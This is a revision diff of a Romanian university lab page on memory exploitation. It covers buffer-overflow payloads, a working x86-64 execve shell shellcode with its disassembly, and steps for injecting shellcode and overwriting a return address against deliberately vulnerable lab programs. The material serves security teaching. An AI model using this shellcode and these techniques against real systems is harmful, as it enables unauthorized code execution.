This shows you the differences between two versions of the page.
Both sides previous revision Previous revision Next revision | Previous revision | ||
secure-low-level-programming:capitole:06-exploatarea-memoriei [2018/12/19 09:04] razvan |
secure-low-level-programming:capitole:06-exploatarea-memoriei [2018/12/21 10:41] (current) razvan [Rulare de shellcode] |
||
---|---|---|---|
Line 34: | Line 34: | ||
AAAAAAAAAAAAAAAA | AAAAAAAAAAAAAAAA | ||
- | student@pr706-pc:~$$ python -c 'print "A"*16 + "B"*4' | + | student@pr706-pc:~$ python -c 'print "A"*16 + "B"*4' |
AAAAAAAAAAAAAAAABBBB | AAAAAAAAAAAAAAAABBBB | ||
- | student@pr706-pc:~$$ python -c 'print "A"*16 + "B"*4 + "\xaa\xbb"' | + | student@pr706-pc:~$ python -c 'print "A"*16 + "B"*4 + "\xaa\xbb"' |
AAAAAAAAAAAAAAAABBBB | AAAAAAAAAAAAAAAABBBB | ||
- | student@pr706-pc:~$$ python -c 'print "A"*16 + "B"*4 + "\xaa\xbb"' | xxd | + | student@pr706-pc:~$ python -c 'print "A"*16 + "B"*4 + "\xaa\xbb"' | xxd |
00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | 00000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA | ||
00000010: 4242 4242 aabb 0a BBBB... | 00000010: 4242 4242 aabb 0a BBBB... | ||
Line 52: | Line 52: | ||
</note> | </note> | ||
+ | <note tip> | ||
+ | Ca să transmiteți un payload unui program folosiți o linie de comandă de forma: | ||
+ | <code> | ||
+ | student@pr706-pc:~$ python -c 'print <TODO_payload>' | ./vuln | ||
+ | </code> | ||
+ | </note> | ||
==== Buffer overflow pe pointer de funcție ==== | ==== Buffer overflow pe pointer de funcție ==== | ||
Line 79: | Line 85: | ||
Accesăm directorul ''run-shellcode/'' din arhiva de suport. | Accesăm directorul ''run-shellcode/'' din arhiva de suport. | ||
- | Urmăriți conținutul fișierului ''vuln.c'' și rulați executabilul ''vuln''. | + | Urmăriți conținutul fișierului ''prog.c'' și rulați executabilul ''prog''. Programul vă deschide un shell nou. Ca să ieșiți din acel shell folosiți comanda ''exit'' sau combinația de taste ''Ctrl+d''. |
+ | |||
+ | Programul folosește variabila ''shellcode'' pentru a reține un cod binar care generează un shell (realizează apelul de sistem ''execve'') atunci când este executat. | ||
+ | |||
+ | Pentru a investiga în detaliu shellcode-ul (codul binar) puteți folosi ''objdump'' ca mai jos: | ||
+ | <code> | ||
+ | student@pr706-pc:~$ echo -en '\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05' > shellcode | ||
+ | student@pr706-pc:~$ objdump -D -M intel -b binary -m i386:x86-64 shellcode | ||
+ | |||
+ | shellcode: file format binary | ||
+ | |||
+ | |||
+ | Disassembly of section .data: | ||
+ | |||
+ | 0000000000000000 <.data>: | ||
+ | 0: 6a 42 push 0x42 | ||
+ | 2: 58 pop rax | ||
+ | 3: fe c4 inc ah | ||
+ | 5: 48 99 cqo | ||
+ | 7: 52 push rdx | ||
+ | 8: 48 bf 2f 62 69 6e 2f movabs rdi,0x68732f2f6e69622f | ||
+ | f: 2f 73 68 | ||
+ | 12: 57 push rdi | ||
+ | 13: 54 push rsp | ||
+ | 14: 5e pop rsi | ||
+ | 15: 49 89 d0 mov r8,rdx | ||
+ | 18: 49 89 d2 mov r10,rdx | ||
+ | 1b: 0f 05 syscall | ||
+ | </code> | ||
==== Injectare de shellcode ==== | ==== Injectare de shellcode ==== | ||
Line 85: | Line 119: | ||
Accesăm directorul ''inject-shellcode/'' din arhiva de suport. | Accesăm directorul ''inject-shellcode/'' din arhiva de suport. | ||
- | Urmăriți conținutul fișierului ''vuln.c'' și rulați executabilul ''vuln''. | + | Urmăriți conținutul fișierului ''vuln.c'' și rulați executabilul ''vuln''. Furnizați-i la intrarea standard shellcode-ul pentru a genera un shell. |
+ | |||
+ | Va trebui să mențineți conexiunea activă la standard input pentru ''vuln''. Cel mai indicat este să folosiți comanda: | ||
+ | <code> | ||
+ | cat <(echo -e '<TODO_shellcode>') - | ./vuln | ||
+ | </code> | ||
+ | |||
+ | După ce obțineți un shell nu vă apare prompt, tastați comenzi precum ''ls'' sau ''ps''. Ca să închideți shell-ul generat folosiți comanda ''exit'' sau combinația de taste ''Ctrl+d''. | ||
==== Buffer overflow și injectare de shellcode ==== | ==== Buffer overflow și injectare de shellcode ==== | ||
Line 91: | Line 132: | ||
Accesăm directorul ''bo-inject-shellcode/'' din arhiva de suport. | Accesăm directorul ''bo-inject-shellcode/'' din arhiva de suport. | ||
- | Urmăriți conținutul fișierului ''vuln.c'' și rulați executabilul ''vuln''. | + | Urmăriți conținutul fișierului ''vuln.c'' și rulați executabilul ''vuln''. Va trebui să injectați un shellcode în variabila ''shellcode'' și să generați buffer overflow care să conducă la executarea shellcode-ului. Buffer overflow-ul va suprascrie adresa de retur a funcției ''do_nasty()'' cu adresa variabilei ''shellcode''. |
+ | |||
+ | <note tip> | ||
+ | Aflați adresa variabilei ''shellcode'' folosind comanda ''nm''. | ||
+ | </note> | ||
+ | |||
+ | Modificați template-ul din scriptul ''exploit'' pentru obținerea shell-ului și rulați scriptul folosind: | ||
+ | <code> | ||
+ | ./exploit | ./vuln | ||
+ | </code> |